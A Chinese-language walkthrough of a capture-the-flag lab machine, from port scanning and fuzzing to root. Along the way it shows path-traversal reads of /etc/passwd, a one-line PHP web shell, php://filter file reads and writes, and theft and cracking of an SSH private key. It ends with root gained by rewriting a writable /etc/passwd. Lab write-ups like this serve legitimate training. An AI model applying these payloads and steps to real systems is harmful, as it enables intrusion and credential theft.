一、靶机介绍

1.1、目标

root用户权限和两个flag

12、攻击手法:

  • 主机发现

  • 端口扫描

  • 强制访问

  • 参数爆破

  • PHP封装器

  • 任意文件读取

  • SSH公钥登录

  • 离线密码破解

  • 系统权限漏洞利用

二、主机发现

也可以使用 nmap arp。

fping -gaq 10.0.2.0/24

-a 是显示可ping通的目标

-g 是指定开始和结束地址

-q 是不显示每个目标或每个ping的结果

具体介绍,查看下面这个链接

Fping命令解析-CSDN博客

image-20240122181218416

查看到目标主机IP为10.0.2.8

三、端口扫描

3.1 、端口发现

sudo namp -p- 10.0.2.8

只有22和80 端口开放

image-20240122182027870

3.2、端口服务

sudo nmap -p22,80 -A 10.0.2.8

-A 启动Os检测,版本检测,脚本扫描和traceroute

image-20240122182214065

http://10.0.2.8/

image-20240122182312913

访问网页后没有找到任何可以利用的漏洞。

四、路径扫描

4.1、gobuster

gobuster 	路径探测工具,不仅可以路径爆破,还可以做dns的信息探测,收集。基于go语言
apt-get install seclists 安装字典
gobuster dir -u http://10.10.0.8/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html.jsp -x 是指定扫描文件的后缀

下面有使用ferobuster扫描的对比,ferobuster扫描结果没有gobuser准确。

image-20240122193901774

扫描结果如上,发现有robots.txt和/sectet两个路径

robots.txt 是指爬虫权限说明

http://10.0.2.8/robots.txt

访问后发现什么都没有

image-20240122194038715

访问robots.txt文件没有任何有用信息,于是对secrect路径进行扫描

gobuster dir -u http://10.0.2.8/secret -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp

image-20240122194506922

发现存在evil.php 文件发,访问后发现是空白

image-20240122194622645

4.2、ferobuster(可省略)

feroxbuster --url http://10.0.2.8

在gobuster扫描过程中,使用了ferobuster扫描进行了一次对比

相同 不同
gobuster 都是路径扫描 需要手动指定扫描字典和需要扫描文件的后缀名,扫描结果更准确,速度慢
ferobuster 默认字典路径,不用手动指定,相比而言速度交快

image-20240122193843526

五、参数爆破

由于路径扫描后发现页面时空白,猜测是需要参数查询。

编辑一个小字典,用作参数值

vi 1.txt

image-20240122195015103

5.1、ffuf

ffuf也是基于go语言开发的,能适用于多种情况的模糊测试。

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w 1.txt:VAL -u http://10.0.2.8/secret/evil.php?PARAM=VAL -fs 0

-w是指定字典

-fs 0 排除返回页面为0的数据

详细介绍

Ffuf爆破神器(超详细)-CSDN博客

image-20240122195307207

扫描失败,没有发现任何有用信息。

换个思路使用模糊测试,利用返回页面进行扫描

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt  -u  http://10.0.2.8/secret/evil.php?FUZZ=../index.html -fs 0

因为前期目录扫描时,在上一层路径中存在 index.html文件,也可以用../../../../etc/passwd
FUZZ是模糊测试ls

image-20240122195534893

得出参数是command

六、文件包含

确定靶机存在文件包含漏洞。尝试查看靶机的用户信息

http://10.0.2.8/secret/evil.php?command=../../../../../../etc/passwd

image-20240122195701108

发现可以成功查看

6.1、远程文件包含

对靶机尝试使用远程文件包含

<?php $var=shell_exec($_GET['cmd']); echo $var ?>

在本地写一个一句话木马,尝试目标主机是否能够进行远程文件包含

image-20240122200517960

开启apache服务

service apache2 start

image-20240122200728226

payload执行尝试

http://10.0.2.8/secret/evil.php?command=http://10.0.2.8/a.php?cmd=id

image-20240122200855271

发现结果是空,远程文件漏洞利用失败

6.2、PHP封装器

本地文件包含漏洞利用

通常遇到失败后,会尝试一php的封装器的功能,php作为一门语言,它包含很多其他协议和访问的方式,
file=
data://
ftp://
zip://
php://filter/convert.base64-encode/resource=evil.php 利用这种方法可以读取目标主机上的php文件,正常情况下使用浏览器使用php文件时,就会以php执行代码方式去处理php文件,所有我们无法以这种方式去读取php文件的源码内容,将其现转换成base64时,就可以。
可以尝试将目标服务器上的很多文件通过一些编码转换的方式读取出来,实现任意文件读取的效果

http://10.0.2.8/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php

利用这种方法可以读取目标主机上的php文件,正常情况下使用浏览器使用php文件时,就会以php执行代码方式去处理php文件,所有我们无法以这种方式去读取php文件的源码内容,将其现转换成base64时,就可以。
可以尝试将目标服务器上的很多文件通过一些编码转换的方式读取出来,实现任意文件读取的效果

image-20240122201509790

读取后进行译码

image-20240122201433535

根据解码内容确定存在文件包含漏洞,以及参数名

6.3、写入测试

同理使用base64编码,将我们想要写入的进行编码写入

echo 123|base64

image-20240122202156652

http://10.0.2.8/secret/evil.php?command=php://filter/write=convert.base64-decode/resource=test.php&MTIz==

将123编码的数据传输进行,通过write写入test.php 文件中,在通decode解码。

image-20240122204530505

http://10.0.2.8/secret/test.php

image-20240122204610340

权限不够写入失败。

七、SSH公钥登录

7.1、查找可登录账户

http://10.0.2.8/secret/evil.php?command=../../../../etc/passwd

image-20240123133650008

发现可登录的账号

尝试登录获取一些可利用的漏洞

ssh mowreen@10.0.2.8 -v

-v 是查看详细信息

image-20240123133922969

7.2、公私密钥

http://10.0.2.8/secret/evil.php?command=../../../../home/mowree/.ssh/authorized_keys

原理:

客户端生成公钥和私钥,在 /home/用户名/.ssh/ .ssh/id_rsa(密钥) ,将公钥上传服务器

服务端保存在:/用户名/.ssh/authorized_keys(保存着公钥) ,用户名是什么就只能用这个用户名登录

.ssh目录的权限必须是700

.ssh/authorized_keys文件权限必须是600

image-20240123134226534

http://10.0.2.8/secret/evil.php?command=../../../../home/mowree/.ssh/id_rsa

image-20240123134313055

7.3、密钥下载及授权

vi id_rsa

将密钥保存到攻击机上。注意保存格式,建议使用wegt命令下载下来,名字较长可以使用重命名一下,防止格式出现问题。

image-20240123135828720

保存后授权一下。

chmod 600 id_rsa 
ssh mowreen@10.0.2.8 -i id_rsa

image-20240123142044716

发现需要输入私钥密码

八、离线密码破解

8.1、字典准备

cp /usr/share/wordlists/rockyou.txt.gz .     # 字典
gunzip rockyou.txt.gz # 解压
cd /usr/share/john
./ssh2john.py ~/id_rsa > ~/hash 编码转换
./ssh2john.py /home/kali/id_rsa >/home/kali/hash

image-20240123143024354

8.2、密码破解

john hash --wordlist=rockyou.txt  

运行破解

image-20240123143006841

获得私钥为unicorn

使用ssh再次链接

在连接时,死活连不上。最后重装了靶机才解决,如果碰到相同的问题,可以参考一下这个解决办法。

sudo ssh mowree@10.0.2.9 -i id_rsa 

image-20240123152416174

cat user.txt

查看第一个flag。

image-20240123152503602

九、系统权限漏洞利用

sudo -l    		sudo提权没有可利用的
crontab 计划任务也灭有
uname -a 查看内核版本,使用searchsploit到三个脚本页面利用成功
find / -user root -perm -4000 -print 2>/dev/null

-4000 是找寻使用suid的。2>/dev/null 是将报错消除,find寻找suid提权也没有可以利用的

image-20240123152652499

find / -writable 2>/dev/null | grep -v /proc

​ find寻找可以改写的文件,过滤掉 /proc

image-20240123152930219

openssl passwd -1

生成一个新的密码。我在此处填的是123

image-20240123155136683

将上面加密后的密码复制一下,接下来复制到passwd文本中

vi /etc/passwd
su root
123 #输入明文密码

在编辑页面时,使用Delete键进行删除。然后在合适位置直接粘贴密钥。

image-20240123155326465

密钥放置处如下图。提前把x删掉

image-20240123155442955

在文本中x对应的时密码的位置,x代表占位符。实际存放密码的位置在其他地方。但是如果将此处密码更改,则原本存放的密码即失效,加入的密码将生效。

image-20240123155353789

拿到root账号以及第二个flag。打靶结束

十、总结

image-20240123155550194

个人感觉,这个靶机思路虽然比较常规,但是使用的工具比较少见。